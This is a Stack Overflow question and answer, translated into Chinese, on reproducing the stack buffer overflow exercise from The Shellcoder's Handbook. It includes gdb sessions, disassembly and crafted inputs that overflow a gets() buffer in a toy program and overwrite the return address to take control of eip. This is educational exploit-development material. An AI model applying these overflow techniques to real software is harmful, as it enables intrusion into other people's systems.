c - 堆栈溢出(shellcoders 手册)

标签 c gdb stack-overflow

我在这个例子中 w.r.t. shellcoder's handbook(second edition),还有一些关于栈的问题

root@bt:~/pentest# gdb -q sc  
Reading symbols from /root/pentest/sc...done.  
(gdb) set disassembly-flavor intel    
(gdb) list    
1   void ret_input(void){    
2       char array[30];  
3     
4       gets(array);  
5       printf("%s\n", array);  
6   }  
7   main(){  
8       ret_input();  
9     
10      return 0;  
(gdb) disas ret_input   
Dump of assembler code for function ret_input:  
   0x08048414 <+0>: push   ebp  
   0x08048415 <+1>: mov    ebp,esp  
   0x08048417 <+3>: sub    esp,0x24  
   0x0804841a <+6>: lea    eax,[ebp-0x1e]  
   0x0804841d <+9>: mov    DWORD PTR [esp],eax  
   0x08048420 <+12>:    call   0x804832c <gets@plt>  
   0x08048425 <+17>:    lea    eax,[ebp-0x1e]  
   0x08048428 <+20>:    mov    DWORD PTR [esp],eax  
   0x0804842b <+23>:    call   0x804834c <puts@plt>  
   0x08048430 <+28>:    leave    
   0x08048431 <+29>:    ret      
End of assembler dump.  
(gdb) break *0x08048420  
Breakpoint 1 at 0x8048420: file sc.c, line 4.  
(gdb) break *0x08048431  
Breakpoint 2 at 0x8048431: file sc.c, line 6.  
(gdb) run  
Starting program: /root/pentest/sc   

Breakpoint 1, 0x08048420 in ret_input () at sc.c:4  
4       gets(array);  
(gdb) x/20x $esp  
0xbffff51c: 0xbffff522  0xb7fca324  0xb7fc9ff4  0x08048460  
0xbffff52c: 0xbffff548  0xb7ea34a5  0xb7ff1030  0x0804846b  
0xbffff53c: 0xb7fc9ff4  0xbffff548  0x0804843a  0xbffff5c8  
0xbffff54c: 0xb7e8abd6  0x00000001  0xbffff5f4  0xbffff5fc  
0xbffff55c: 0xb7fe1858  0xbffff5b0  0xffffffff  0xb7ffeff4  
(gdb) continue   
Continuing.  
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDD  
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDD  

Breakpoint 2, 0x08048431 in ret_input () at sc.c:6  
6   }  
(gdb) x/20x 0x0bffff51c  
0xbffff51c: 0xbffff522  0x4141a324  0x41414141  0x41414141  
0xbffff52c: 0x42424242  0x42424242  0x43434242  0x43434343  
0xbffff53c: 0x43434343  0x44444444  0x44444444  0xbffff500  
0xbffff54c: 0xb7e8abd6  0x00000001  0xbffff5f4  0xbffff5fc  
0xbffff55c: 0xb7fe1858  0xbffff5b0  0xffffffff  0xb7ffeff4  
(gdb) ^Z  
[1]+  Stopped                 gdb -q sc  
root@bt:~/pentest# printf "AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD\x35\x84\x04\x08" | ./sc   
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD5�  
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD:�  
root@bt:~/pentest# 

在这个例子中,我用了 48 个字节“AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD\x35\x84\x04\x08”来重写 ret 地址,一切正常。但是当我尝试使用本书第一版中的示例时,我遇到了一些问题

root@bt:~/pentest# gdb -q sc  
Reading symbols from /root/pentest/sc...done.  
(gdb) disas ret_input   
Dump of assembler code for function ret_input:  
   0x08048414 <+0>: push   %ebp  
   0x08048415 <+1>: mov    %esp,%ebp  
   0x08048417 <+3>: sub    $0x24,%esp  
   0x0804841a <+6>: lea    -0x1e(%ebp),%eax  
   0x0804841d <+9>: mov    %eax,(%esp)  
   0x08048420 <+12>:    call   0x804832c <gets@plt>  
   0x08048425 <+17>:    lea    -0x1e(%ebp),%eax  
   0x08048428 <+20>:    mov    %eax,(%esp)   
   0x0804842b <+23>:    call   0x804834c <puts@plt>  
   0x08048430 <+28>:    leave    
   0x08048431 <+29>:    ret      
End of assembler dump.  
(gdb)   

为什么程序占用了 24(hex)=36(dec)bytes 的数组,但我用了 48 个重写,36 个字节的数组,8 个字节的 esp 和 ebp(我怎么知道的),但是有 steel 有 4无法解释的字节

好的,让我们试试第一版书中的漏洞,他们通过调用函数的地址重写了所有数组,在书中他们有“sub &0x20,%esp”所以代码是

main(){  
 int i=0;  
 char stuffing[44];  

 for (i=0;i<=40;i+=4) 
 *(long *) &stuffing[i] = 0x080484bb;  
 puts(array);  

我有 ""sub &0x24,%esp"所以我的代码是

main(){  
 int i=0;  
 char stuffing[48];  

 for (i=0;i<=44;i+=4)
 *(long *) &stuffing[i] = 0x08048435;  
 puts(array); 

shellcoders 手册的结果

 [root@localhost /]# (./adress_to_char;cat) | ./overflow  
input   
""""""""""""""""""a<u___.input  
input  
input  

我的结果

root@bt:~/pentest# (./ad_to_ch;cat) | ./sc  
5�h���ل$���������h����4��0��˄  
inout  
Segmentation fault  
root@bt:~/pentest#  

有什么问题? 我正在编译

-fno-stack-protector -mpreferred-stack-boundary=2

最佳答案

我建议您最好通过在 GDB 中尝试获得溢出缓冲区所需的字节数。我编译了您在问题中提供的源代码并通过 GDB 运行它:

gdb$ r < <(python -c "print('A'*30)")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[Inferior 1 (process 29912) exited normally]

(请注意,我使用 Python 来创建我的输入,而不是编译的 C 程序。这真的没关系,使用你喜欢的。)

所以 30 个字节就可以了。让我们尝试更多:

gdb$ r < <(python -c "print('A'*50)")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
Cannot access memory at address 0x41414141
0x41414141 in ?? ()

gdb$ i r $eip
eip            0x41414141   0x41414141

我们的 eip 寄存器现在包含 0x41414141,这是 ASCII 中的 AAAA。现在,我们可以逐渐检查我们必须将更新 eip 的值放在缓冲区中的确切位置:

gdb$ r < <(python -c "print('A'*40+'BBBB')")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.
Cannot access memory at address 0x8004242
0x08004242 in ?? ()

B0x42。因此,当使用 40 个 A 和四个 B 时,我们覆盖了一半的 eip。因此,我们用 42 个 A 填充,然后将我们要更新的值 eip 放入:

gdb$ r < <(python -c "print('A'*42+'BBBB')")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.
Cannot access memory at address 0x42424242
0x42424242 in ?? ()

我们完全控制了 eip!让我们试试吧。在 ret_input 的末尾设置一个断点(您的地址可能因我重新编译二进制文件而有所不同):

gdb$ dis ret_input
Dump of assembler code for function ret_input:
   0x08048404 <+0>: push   %ebp
   0x08048405 <+1>: mov    %esp,%ebp
   0x08048407 <+3>: sub    $0x38,%esp
   0x0804840a <+6>: lea    -0x26(%ebp),%eax
   0x0804840d <+9>: mov    %eax,(%esp)
   0x08048410 <+12>:    call   0x8048310 <gets@plt>
   0x08048415 <+17>:    lea    -0x26(%ebp),%eax
   0x08048418 <+20>:    mov    %eax,(%esp)
   0x0804841b <+23>:    call   0x8048320 <puts@plt>
   0x08048420 <+28>:    leave  
   0x08048421 <+29>:    ret    
End of assembler dump.
gdb$ break *0x8048421
Breakpoint 1 at 0x8048421

例如,让我们修改 eip,这样一旦从 ret_input 返回,我们再次在函数的开头结束:

gdb$ r < <(python -c "print('A'*42+'\x04\x84\x04\x08')")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�    

--------------------------------------------------------------------------[code]
=> 0x8048421 <ret_input+29>:    ret    
   0x8048422 <main>:    push   ebp
   0x8048423 <main+1>:  mov    ebp,esp
   0x8048425 <main+3>:  and    esp,0xfffffff0
   0x8048428 <main+6>:  call   0x8048404 <ret_input>
   0x804842d <main+11>: mov    eax,0x0
   0x8048432 <main+16>: leave  
   0x8048433 <main+17>: ret    
--------------------------------------------------------------------------------

Breakpoint 1, 0x08048421 in ret_input ()

我们填充 42 个 A,然后将 ret_input 的地址附加到我们的缓冲区。 ret 触发器上的断点。

gdb$ x/w $esp
0xffffd30c: 0x08048404

在堆栈的顶部有我们缓冲区的最后一个 DWORD - ret_input 的地址。

gdb$ n
0x08048404 in ret_input ()    

gdb$ i r $eip
eip            0x8048404    0x8048404 <ret_input>

执行下一条指令将从堆栈中弹出该值并相应地设置 eip

附带说明:我推荐来自 this guy 的 .gdbinit 文件.

关于c - 堆栈溢出(shellcoders 手册),我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/11935887/

相关文章:

c - Ubuntu 用法错误

c - 在循环中调用 fscanf 后,Dev C++ 崩溃

python - 跨gdb找不到python

python - 减少python中markdown的功能

c - 通过动态链接使用 FFmpeg (libavformat) RTP 数据结构

c++ - 符号加载非常慢

php - 尝试调试 PHP Seg 错误

c++ - 使用递归函数是否可能导致堆栈溢出?

ios - 这种递归长轮询技术会导致堆栈溢出吗?

c - C中函数指针的显式解引用